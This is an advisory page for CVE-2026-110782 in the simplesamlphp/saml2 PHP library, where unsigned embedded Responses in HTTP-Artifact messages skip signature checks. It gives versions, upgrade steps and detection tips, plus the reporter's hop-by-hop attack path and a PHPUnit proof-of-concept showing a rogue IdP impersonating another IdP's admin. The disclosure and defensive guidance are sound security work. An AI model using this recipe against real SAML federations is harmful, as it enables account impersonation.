CVE-2026-110782: SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)
simplesamlphp/saml2 6.2.2 and 6.2.3 skip signature checks on an unsigned Response embedded in an HTTP-Artifact ArtifactResponse. A malicious but trusted IdP can wrap a forged Response that names another IdP, and the library accepts it. It is an incomplete fix of CVE-2026-49283. Upgrade to 6.2.4, or 7.0.0-rc2 on the 7.x line.
Published Nov 17, 2026 · Analysis Nov 17, 2026
What an attacker can do
In the HTTP-Artifact binding, HTTPArtifact::receive() first checks the outer ArtifactResponse, which must be signed. Then it handles the embedded samlp:Response. The code returned any unsigned embedded Response as-is: if it is not signed, return it, and only a signed one goes to verifyMessageSignature(). Even on the signed path, the Issuer of the embedded Response was never compared to the artifact issuer (CWE-347, CWE-287).
The attack needs a service provider that uses the HTTP-Artifact binding in a federation with several IdPs, and an attacker who runs one of the trusted IdPs, with valid metadata and a real signing key. They send a SAMLart for their own IdP, answer with a correctly signed outer ArtifactResponse, and wrap an unsigned Response whose Issuer names a different IdP and asserts, for example, an admin user. The library returns it unverified.
That lets a rogue federation member impersonate users from other IdPs. The reporter rates the end-to-end bypass as conditional. The SimpleSAMLphp SP module may reject unsigned responses downstream, which would make this defense in depth. The binding's trust model, though, is that the embedded message need not be signed, so integrators may rely on receive() to authenticate it. The regression came with 6.2.2. The official fix for CVE-2026-49283 in 6.2.1 did not have the short-circuit.
Who is affected
simplesamlphp/saml2 from 6.2.2 up to and including 6.2.3, and 7.0.0-rc1 (before 7.0.0-rc2). Version 6.2.1 is not affected, per the reporter. Only deployments that use the HTTP-Artifact binding in a multi-IdP federation are exposed.
Check your install:
composer show simplesamlphp/saml2If you use SimpleSAMLphp, the library is a dependency, so check the vendor directory of your install.
simplesamlphp/saml2
- Ecosystem
- Composer (PHP)
- Affected
- >= 6.2.2, <= 6.2.3
- Fixed in
- 6.2.4
- Check
composer show simplesamlphp/saml2
simplesamlphp/saml2
- Ecosystem
- Composer (PHP)
- Affected
- >= 7.0.0-rc1, < 7.0.0-rc2
- Fixed in
- 7.0.0-rc2
- Check
composer show simplesamlphp/saml2
How to fix it
Upgrade to simplesamlphp/saml2 6.2.4, or 7.0.0-rc2 if you run the 7.x pre-release line.
composer require simplesamlphp/saml2:^6.2.4The reporter's suggested remediation is to make embedded-Response authentication mandatory and issuer-bound: reject unless the embedded Response is signed, verifyMessageSignature() succeeds, and its Issuer equals the artifact issuer's entityid. The sources do not detail the exact code of the released fix, so read the 6.2.4 release notes. They list no workaround. If you cannot upgrade, avoid the HTTP-Artifact binding with IdPs you do not fully trust, and make sure your SP requires signed responses or assertions.
How to tell if you were hit
Review SP authentication logs for logins where the Issuer of the Response differs from the IdP that served the artifact. Look for sessions for privileged users arriving through an IdP that should not vouch for them. Check artifact resolution requests to the SAMLart endpoint for source IDs of IdPs you rarely use. Review your federation metadata for IdPs you do not control or no longer need.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that HTTPArtifact::receive() verifies the embedded SAML Response using the IdP metadata signing keys. The current implementation (master 31c72c1d, released v6.2.3) reaches that verification only when the embedded Response is signed:
// src/Binding/HTTPArtifact.php (receive())
if (!$samlResponse->isSigned()) {
return $samlResponse; // ← unsigned embedded Response returned UNVERIFIED
}
return $this->verifyMessageSignature($samlResponse, $idpMetadata); // only runs when signedAn attacker who controls one trusted-federation IdP therefore returns a validly-signed outer `ArtifactResponse` (signed with their own real key, which passes the mandatory outer check) that **wraps an *unsigned* <samlp:Response> whose <Issuer> names a *different* IdP. `isSigned()` is false, so `verifyMessageSignature()` never runs and the forged Response is returned as successfully received. Additionally, even on the signed path `verifyMessageSignature()` verifies against the artifact issuer's metadata keys but never asserts that the embedded Response's <Issuer> equals the artifact issuer** — the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.
This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit dac0b4b6 / #419), and a regression introduced by the #414 refactor (v6.2.2) — the official CVE fix in v6.2.1 did not contain this short-circuit.
Affected component
src/Binding/HTTPArtifact.phpreceive()line 206-207:if (!$samlResponse->isSigned()) { return $samlResponse; }— the bypassed guard.receive()line 210:verifyMessageSignature($samlResponse, $idpMetadata)— only reached when signed.verifyMessageSignature()lines 230-286: verifies against$idpMetadata(artifact-issuer keys); no `getIssuer()` comparison to bind the embedded Response to the artifact issuer.verifyArtifactResponseSignature()line 300-302:if ($artifactResponse->isSigned() !== true) throw— the OUTER response is mandatorily signed; the asymmetry with the embeddedreturn-on-unsigned is the defect.- Regression commit 3b589636 (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix dac0b4b6 (#419) left the short-circuit unchanged.
- Affected: v6.2.2, v6.2.3 (latest), and master. v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.
Reachability (hop-by-hop, guards named)
Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid saml20-idp-remote metadata, real signing key, an ArtifactResolutionService). Goal: impersonate admin@IdP-A.
- Attacker hits the SP artifact endpoint with
SAMLartencodingsourceId = sha1(IdP-B entityID)— line 137-138, no guard. getMetaDataConfigForSha1→$idpMetadata= IdP-B — line 144. Guard: metadata exists → satisfied (IdP-B trusted).- SP resolves against IdP-B's ARS (attacker's endpoint) — line 176-182.
- IdP-B returns a validly-signed
ArtifactResponse;verifyArtifactResponseSignature(...,IdP-B)passes (signed by the artifact issuer) — line 193/300. Guard satisfied by the attacker (they ARE the artifact issuer). - The signed outer wraps an unsigned
<samlp:Response Issuer=IdP-A>with an assertion foradmin@IdP-A— line 195, no guard on embedded content. if (!$samlResponse->isSigned()) return $samlResponse;→ TRUE → returns the forged Response unverified — line 206-207.verifyMessageSignature(210) never runs; there is no issuer==artifact-issuer check anywhere inreceive().
Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.
Root cause
The #414 refactor moved embedded-Response verification into receive() but gated it on isSigned() (mirroring if (!isSigned()) return instead of the outer's if (isSigned() !== true) throw), and the dac0b4b6 key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on receive() to have authenticated it — exactly the reliance this gap defeats.
Proof of concept (executed, benign)
The PoC exercises the real shipped private methods verifyArtifactResponseSignature() and verifyMessageSignature() via reflection — exactly as the maintainers' own tests/SAML2/Binding/HTTPArtifactTest.php does — and reproduces receive()'s verbatim post-resolution decision (lines 195/206-210) against real HTTPArtifact internals. It models a validly-signed outer ArtifactResponse from the artifact issuer IdP-B (attacker-controlled, its signing cert in metadata) wrapping an unsigned embedded <samlp:Response> claiming Issuer=IdP-A. No destructive payload; the marker is the SKIPPED verification.
Run: vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php
// tests/SAML2/Binding/PocArtifact001Test.php (namespace SimpleSAML\Test\SAML2\Binding)
// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:
$idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[
'type' => 'X509Certificate', 'signing' => true, 'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]]], '[idp-b]');
$ha = new HTTPArtifact();
// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false);
$embedded->method('getSignature')->willReturn(null);
$embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called'));
// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer);
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ---- verbatim HTTPArtifact::receive() post-resolution logic ----
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory — passes vs IdP-B
$samlResponse = $verifiedOuter->getMessage();
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) { $received = $samlResponse; } // <-- BYPASS (line 206-207)
else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); }
self::assertFalse($samlResponse->isSigned());
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED');
self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified');
// Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing.
$threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; }
self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response');Observed benign output:
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response
=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
OK (1 test, 5 assertions)The five assertions prove: the outer ArtifactResponse verifies against the artifact issuer (IdP-B) metadata; the embedded Response is unsigned; verifyMessageSignature() is skipped; the unsigned embedded Response is returned as received; and the real verifier rejects that same unsigned message — so the isSigned() short-circuit is the sole reason it is accepted.
*(Environment note: composer install needed a platform.composer-plugin-api=2.9.0 override with --no-plugins to resolve xml-common's installer-plugin constraint under Composer 2.8.6; no code under test was modified.)*
Adversarial re-read (what I tried to refute it with)
- Strongest objection (why CONDITIONAL, not CONFIRMED): the downstream SimpleSAMLphp SP module may route
receive()'s output through the response/assertion processor, which requires *either* the response signed *or* every assertion signed (src/Response/Processor.php:155-162) — that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will *not* impose that requirement; (ii) the CVE was assigned against this library anddac0b4b6's stated contract is thatreceive()authenticates the embedded Response — a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in *normal* artifact operation, so the missing verification is live, not dead code. - Not a false positive on the code: the short-circuit (206-207), the absent issuer binding, and the outer
throwvs embeddedreturnasymmetry (300 vs 206) are verbatim in master and released v6.2.3.
Remediation
In receive(), make embedded-Response authentication mandatory and issuer-bound — mirror the outer pattern: after line 195, reject unless $samlResponse->isSigned() and verifyMessageSignature() succeeds and $samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid'). Replace if (!isSigned()) return with if (isSigned() !== true) throw.
Confidence
High at the library-contract level — the incomplete-fix is code-verified and the PoC fires against the real shipped verification methods. CONDITIONAL only for the end-to-end auth bypass (requires the HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded message — the binding's designed trust model). Reported to the maintainers as a gap in their own dac0b4b6 fix, present in the latest release v6.2.3.
Proof-of-Concept source (PocArtifact001Test.php)
<?php
declare(strict_types=1);
namespace SimpleSAML\Test\SAML2\Binding;
use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionMethod;
use SimpleSAML\Configuration;
use SimpleSAML\SAML2\Binding\HTTPArtifact;
use SimpleSAML\SAML2\XML\samlp\ArtifactResponse;
use SimpleSAML\SAML2\XML\samlp\Response;
use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock;
/**
* PoC — SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.
*
* HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):
* $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory
* $samlResponse = $artifactResponse->getMessage();
* ...
* if (!$samlResponse->isSigned()) {
* return $samlResponse; // <-- EMBEDDED: returned UNVERIFIED
* }
* return $this->verifyMessageSignature($samlResponse, $idpMetadata);
*
* This test reproduces that exact post-resolution decision against real HTTPArtifact
* private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows
* that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the
* artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO
* signature verification of that embedded Response.
*/
final class PocArtifact001Test extends TestCase
{
private function idpBMetadata(): Configuration
{
// "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata,
// selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)
return Configuration::loadFromArray([
'entityid' => 'https://idp-b.example/',
'keys' => [[
'type' => 'X509Certificate',
'signing' => true,
'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]],
], '[idp-b]');
}
private function call(HTTPArtifact $ha, string $method, ...$args): mixed
{
return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args);
}
public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void
{
$idpB = $this->idpBMetadata();
$ha = new HTTPArtifact();
// --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. ---
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false); // attacker omits the embedded signature
$embedded->method('getSignature')->willReturn(null);
// If receive() ever tried to cryptographically verify this, it would blow up here:
$embedded->method('verify')->willThrowException(
new Exception('POC-FAIL: embedded Response->verify() was called — short-circuit absent'),
);
// --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer); // valid signature under IdP-B's key
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====
// 1. OUTER signature check — mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB);
self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata');
// 2. Unwrap the embedded message.
$samlResponse = $verifiedOuter->getMessage();
// 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) {
$received = $samlResponse; // <-- BYPASS: returned unverified
} else {
$verifyMessageSignatureCalled = true;
$received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
}
// ==================================================================================
// OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification.
self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature');
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)');
self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified');
// NEGATIVE CONTROL: the short-circuit is load-bearing — the real verifier CANNOT accept the
// unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it.
$threw = false;
try {
$this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
} catch (\Throwable $e) {
$threw = true;
}
self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response — only the short-circuit accepts it');
fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response "
. "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n");
}
private const MINIMAL_SIG =
'<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>'
. '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
. '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
. '<ds:Reference URI="#_x"><ds:Transforms>'
. '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>'
. '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>'
. '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>';
private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature
{
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML(self::MINIMAL_SIG);
return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement);
}
}
Proof-of-Concept source (poc_output.txt)
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
Configuration: /home/aoc/CVEs/saml2/phpunit.xml
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
Time: 00:00.036, Memory: 22.00 MB
[30;42mOK (1 test, 5 assertions)[0m
Credited to Pig-Tail.
Questions
- How does CVE-2026-110782 relate to CVE-2026-49283?
It is an incomplete fix of CVE-2026-49283. The 6.2.2 refactor added a short-circuit that returns unsigned embedded Responses unverified, though the 6.2.1 fix lacked it.
- Which versions fix it?
simplesamlphp/saml2 6.2.4, and 7.0.0-rc2 for the 7.x line. Versions 6.2.2 and 6.2.3 are affected.
- Can anyone on the internet exploit it?
No. The attacker must operate an IdP that your SP already trusts through metadata, and the SP must use the HTTP-Artifact binding.
- Is the end-to-end login bypass confirmed?
The reporter confirmed the library flaw with a proof of concept but rates the full bypass as conditional. A downstream response processor may require signatures.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-49283
SimpleSAMLphp HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass
high8.7Jul 2, 2026CVE-2026-49289
SimpleSAMLphp has Possible DoS via XPath Transform
high7.5Jul 2, 2026CVE-2025-27773
The SimpleSAMLphp SAML2 library incorrectly verifies signatures for HTTP-Redirect binding
high8.6Mar 11, 2025CVE-2024-52806
SimpleSAMLphp SAML2 has an XXE in parsing SAML messages
medium8.3Dec 2, 2024
